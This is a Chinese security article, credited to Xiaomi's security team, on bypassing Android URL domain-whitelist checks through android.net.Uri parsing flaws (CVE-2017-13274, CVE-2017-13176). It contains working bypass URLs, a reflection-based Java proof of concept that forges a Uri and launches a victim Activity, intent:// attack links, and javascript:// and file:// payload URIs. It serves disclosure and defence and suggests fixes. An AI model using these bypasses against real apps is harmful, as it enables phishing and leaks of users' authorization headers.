很多 Android 组件都有响应外部链接的能力,如果攻击者能随意的指定这些组件所响应的 url,轻则可以引导被攻击的 APP 弹出钓鱼页面,重则可能远程执行恶意 js 代码。因此 APP 开发者必然要对传入的 url 进行校验,而设置域名白名单就是一种简单常见且具有较高安全性的防御方法。
然而由于一些开发者并不完全通晓调用方法的底层特性,使得看起来万无一失的白名单校验形同虚设。本文列举几种常见的 Android 域名白名单校验写法,并深入源码指出其中存在的风险和绕过方法。
先来看一种典型的域名校验写法:
/* Uri 结构
* [scheme:][//authority][path][?query][#fragment]
*/
[check_v1]
Uri uri = Uri.parse(attackerControlledString);
if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) {
webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
// or webView.loadUrl(uri.toString())
}
然而…
String url = "http://attacker.com\\.legitimate.com/smth";
Log.d("getHost:", Uri.parse(url).getHost()); // 输出 attacker.com\.legitimate.com !
if (Uri.parse(url).getHost().endsWith(".legitimate.com")) {
webView.loadUrl(url, getAuthorizationHeaders()); // 成功加载 attacker.com!
}
可以看到 getHost() 和 loadUrl() 的表现不一致,if检验跳转目标是legitimate.com
,但执行时浏览器会把反斜线纠正为正斜线去访问attacker.com
。那么如果是用 equals() 来做完整的 host 检验该怎么办呢?只需加一个‘@’就能隔断非法前缀。
String url = "http://attacker.com\\@legitimate.com/smth";
Log.d("Wow", Uri.parse(url).getHost()); // 输出 legitimate.com!
webView.loadUrl(url, getAuthorizationHeaders()); // 加载 attacker.com!
看来android.net.Uri
的 parse() 是有安全缺陷的,我们扒拉一下代码定位问题…
[frameworks/base/core/java/android/net/Uri.java]
public static Uri parse(String uriString) {
return new StringUri(uriString);
}
继续看这个内部类StringUri
[frameworks/base/core/java/android/net/Uri.java]
private static class StringUri extends AbstractHierarchicalUri {
...
private StringUri(String uriString) {
this.uriString = uriString;
}
...
private Part getAuthorityPart() {
if (authority == null) {
String encodedAuthority
= parseAuthority(this.uriString, findSchemeSeparator());
return authority = Part.fromEncoded(encodedAuthority);
}
return authority;
}
...
static String parseAuthority(String uriString, int ssi) {
int length = uriString.length();
// If "//" follows the scheme separator, we have an authority.
if (length > ssi + 2
&& uriString.charAt(ssi + 1) == '/'
&& uriString.charAt(ssi + 2) == '/') {
// We have an authority.
// Look for the start of the path, query, or fragment, or the
// end of the string.
int end = ssi + 3;
LOOP: while (end < length) {
switch (uriString.charAt(end)) {
case '/': // Start of path
case '?': // Start of query
case '#': // Start of fragment
break LOOP;
}
end++;
}
return uriString.substring(ssi + 3, end);
} else {
return null;
}
}
}
这里就明显看到StringUri
没有对authority部分做反斜杠的识别处理, 接着找StringUri
的父类AbstractHierarchicalUri
瞧瞧:
[frameworks/base/core/java/android/net/Uri.java]
private abstract static class AbstractHierarchicalUri extends Uri {
private String parseUserInfo() {
String authority = getEncodedAuthority();
int end = authority.indexOf('@');
return end == NOT_FOUND ? null : authority.substring(0, end);
}
...
private String parseHost() {
String authority = getEncodedAuthority();
// Parse out user info and then port.
int userInfoSeparator = authority.indexOf('@');
int portSeparator = authority.indexOf(':', userInfoSeparator);
String encodedHost = portSeparator == NOT_FOUND
? authority.substring(userInfoSeparator + 1)
: authority.substring(userInfoSeparator + 1, portSeparator);
return decode(encodedHost);
}
}
就在这里把@符号之前内容的作为 UserInfo 给切断了,host 内容从@符号之后算起。(这里其实存在另一个 bug,没有考虑多个@的情况)
Google 在 2018年4月的 Android 安全公告里发布了这个漏洞CVE-2017-13274的补丁
通过AndroidXRef查询,这个补丁在 Oreo – 8.1.0_r33 才加入到原生源码中。所以安全补丁日期早于2018-04-01的系统都受影响,而 Google 一般通过协议要求 OEM 厂商保证产品上市之后两年内按期打安全补丁。那么经过推算得出 Android 6及以下的系统都受影响。
PS:url含多个@的情况也在2018年1月的补丁中进行了修复CVE-2017-13176
上一节提到了@的截取的特性,会把恶意地址前缀attacker.com
存入 UserInfo,那么现在改进校验方法, 加上 UserInfo 的检查是不是就万无一失了呢?
[check_v2]
Uri uri = getIntent().getData();
boolean isOurDomain = "https".equals(uri.getScheme()) &&
uri.getUserInfo() == null &&
"legitimate.com".equals(uri.getHost());
if (isOurDomain) {
webView.load(uri.toString(), getAuthorizationHeaders());
}
我们还是看android.net.Uri
源码,发现除了StringUri,还有一个内部类也 HierarchicalUri 也继承了 AbstractHierarchicalUri
[frameworks/base/core/java/android/net/Uri.java]
private static class HierarchicalUri extends AbstractHierarchicalUri {
private final String scheme; // can be null
private final Part authority;
private final PathPart path;
private final Part query;
private final Part fragment;
private HierarchicalUri(String scheme, Part authority, PathPart path, Part query, Part fragment) {
this.scheme = scheme;
this.authority = Part.nonNull(authority);
this.path = path == null ? PathPart.NULL : path;
this.query = Part.nonNull(query);
this.fragment = Part.nonNull(fragment);
}
...
}
而AbstractHierarchicalUri又是继承自Uri,所以很容易想到,通过反射调用HierarchicalUri这个私有构造函数,传入构造好的 authority 和 path, 创建一个任意可控的Uri实例。继续查看Part和PathPart类的构造方法:
static class Part extends AbstractPart {
private Part(String encoded, String decoded) {
super(encoded, decoded);
}
}
static class PathPart extends AbstractPart {
private PathPart(String encoded, String decoded) {
super(encoded, decoded);
}
}
由此构造 PoC 如下:
public void PoC() {
private static final String TAG = "PoC";
String attackerUri = "@attacker.com";
String legitimateUri = "legitimate.com";
try {
Class partClass = Class.forName("android.net.Uri$Part");
Constructor partConstructor = partClass.getDeclaredConstructors()[0];
partConstructor.setAccessible(true);
Class pathPartClass = Class.forName("android.net.Uri$PathPart");
Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
pathPartConstructor.setAccessible(true);
Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
hierarchicalUriConstructor.setAccessible(true);
Object authority = partConstructor.newInstance(legitimateUri, legitimateUri);
Object path = pathPartConstructor.newInstance(attackerUri, attackerUri);
Uri uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
Log.d(TAG, "Scheme: " + uri.getScheme());
Log.d(TAG, "UserInfo: " + uri.getUserInfo());
Log.d(TAG, "Host: " + uri.getHost());
Log.d(TAG, "toString(): " + uri.toString());
} catch (Exception e) {
throw new RuntimeException(e);
}
Intent intent = new Intent("android.intent.action.VIEW");
intent.setClassName(Victim_packageName, Victim_className);
intent.setData(uri);
intent.addFlags(268435456);
startActivity(intent);
}
logcat 输出:
07-07 19:00:36.765 9209 9209 D PoC : Scheme: https
07-07 19:00:36.765 9209 9209 D PoC : UserInfo: null
07-07 19:00:36.765 9209 9209 D PoC : Host: legitimate.com
07-07 19:00:36.765 9209 9209 D PoC : toString(): https://[email protected]
从输出日志可以看到,通过此反射方法构造的 Uri 对象,可以通过 check_v2 方法对 Scheme
、 UserInfo
和 Host
的三项检验,但 toString() 方法的值https://[email protected]
,才是被攻击的 Activity 拉起的实际地址。如前所述,@符号之后的 attacker.com
便成为了最终访问的 host。
Android P 之后 Google 对 non-sdk 的 @hide API 进行了限制。Android Studio 也会给出如下提示,并且让这种反射调用在运行时报错失败。
Accessing internal APIs via reflection is not supported and may not work on all devices or in the future less… (Ctrl+F1) Inspection info:Using reflection to access hidden/private Android APIs is not safe; it will often not work on devices from other vendors, and it may suddenly stop working (if the API is removed) or crash spectacularly (if the API behavior changes, since there are no guarantees for compatibility). Issue id: PrivateApi
截止到目前——Android Q Beta 4,还是有绕过的方法, 关于绕过原理的梳理不在本文议题范围。
抵御这种攻击的方法也非常简单,对传入的 Uri
对象加一次 parse() 再做 check_v2 即可。事实上,有大量的开发者因为不了解这个性质,认为传入的 url 已经是”正常“通过 Uri.parse()
构造的,直接信任放行。
我们知道,通过在组件中注册 intent-filter
,App 可以响应浏览器应用或短信应用访问的外链。典型的一个配置写法如下,只有 <data>
标签中指定的内容和 Intent 中携带的 Data 完全一致时,当前活动才能响应该 Intent。
<activity android:name=".DeeplinkActivity">
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https" android:host="legitimate.com"/>
</intent-filter>
</activity>
前面两种方法我们都是用安装恶意 App 或 ADB 命令来触发攻击,注意到 Android 对 <data>
定义的属性,也是通过 parsedIntent.getData().getHost()
来进行匹配的,我们很自然的想到尝试远程利用。
<!--
<a href="[scheme]://[host]/[path]?[query]">调用格式</a>
-->
<a href="https://attacker.com\\@legitimate.com/">Click Attack v1</a>
<a href="https://attacker.com%5C%[email protected]/">Click Attack v2</a>
然而,对于第一个链接,浏览器会自动把反斜杠 “\” 纠正为正斜杠 “/”对于第二个链接,反斜杠 “\” 会以 URL 编码形式保留而无法触发方法1
通过仔细研究intent://scheme
的工作机制,发现可以通过如下方式保留反斜杠 “\” 的方法:
PoC:
<a href="intent://not_used/#Intent;scheme=https://attacker.com\\@legitimate.com/;end">Click Attack v3</a>
跟踪源码,可以看到,访问这个链接,等价于执行:
Uri.parse("https://attacker.com\\\\@legitimate.com/://not_used/")
从而实现方法1的远程执行版本。
实战不乏有些 App 对 host 做了校验,但却遗漏了对 scheme 的检查。
可以用下面的 uri, 尝试进行 js 和 file 域的 PoC:
javascript://legitimate.com/%0aalert(1)//
file://legitimate.com/sdcard/payload.html
*本文作者:小米安全团队Deagle,转载请注明来自FreeBuf.COM